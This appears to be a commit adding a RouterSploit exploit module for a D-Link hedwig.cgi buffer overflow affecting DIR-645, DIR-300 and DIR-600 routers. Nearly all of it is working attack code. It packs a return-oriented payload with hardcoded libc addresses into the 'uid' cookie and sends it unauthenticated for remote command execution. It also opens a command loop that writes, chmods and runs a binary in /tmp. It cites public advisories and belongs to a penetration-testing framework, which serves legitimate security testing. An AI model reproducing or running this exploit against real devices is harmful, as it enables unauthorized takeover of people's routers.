DLINK Hedwig CGI BOF Exec (#335)

* Create multi_hedwig_cgi_exec.py

* update to proper format

* remove whitespace

* remove u

routersploit/modules/exploits/routers/dlink/multi_hedwig_cgi_exec.py

+import struct
+from routersploit import (
+    exploits,
+    print_error,
+    print_success,
+    print_status,
+    random_text,
+    http_request,
+    mute,
+    validators,
+    shell,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation of DLINK Hedwig Buffer Overflow, allows command execution on devices without authentication. It overflows the cookie
+    uid value of hedwig.cgi.
+    """
+    __info__ = {
+        'name': 'D-LINK Hedwig CGI RCE',
+        'description': 'Module exploits an buffer overflow that leads to remote code execution',
+
+        'authors': ['Austin <github.com/realoriginal>'],  # routersploit module
+        'references': 
+            [
+                'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008',
+                'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000',
+                'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt',
+                'https://www.exploit-db.com/exploits/27283/'
+            ],
+        'devices': [
+            'DIR-645 Ver 1.03',
+            'DIR-300 Ver 2.14',
+            'DIR-600'  # tested on DIR-600 Ver 2.12
+        ],
+    }
+
+    target = exploits.Option('', 'Target address e.g http://192.168.1.1', validators=validators.url)  # target address
+    port = exploits.Option(80, 'Target port', validators=validators.integer)  # default port
+
+    def run(self):
+        if self.check():
+            print_success("Target is vulnerable!")
+            print_status("Invoking command loop...")
+            shell(self, architecture="mipsle", method="echo", location="/tmp",
+                        echo_options={"prefix": "\\\\x"}, exec_binary="chmod 777 {0} && {0} && rm {0}")
+        else:
+            print_error("Target is not vulnerable")
+
+    def execute(self, cmd):
+        libcbase = 0x2aaf8000
+        system = 0x000531FF
+        calcsystem = 0x000158C8
+        callsystem = 0x000159CC
+        shellcode = random_text(973)
+        shellcode += struct.pack("<I", libcbase + system)
+        shellcode += random_text(16)
+        shellcode += struct.pack("<I", libcbase + callsystem)
+        shellcode += random_text(12)
+        shellcode += struct.pack("<I", libcbase + calcsystem)
+        shellcode += random_text(16)
+        shellcode += cmd
+        url = "{}:{}/hedwig.cgi".format(self.target, self.port)
+        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
+        cookies = {'uid': shellcode}
+        data = random_text(7) + "=" + random_text(7)
+        response = http_request(method="POST", url=url, headers=headers, data=data, cookies=cookies)
+        if response is None:
+            return ""
+        return response.text[response.text.find("</hedwig>")+len("</hedwig>"):].strip()
+
+    @mute
+    def check(self):
+        fingerprint = random_text(10)
+        cmd = "echo {}".format(fingerprint)
+
+        response = self.execute(cmd)
+
+        if fingerprint in response:
+            return True
+        return False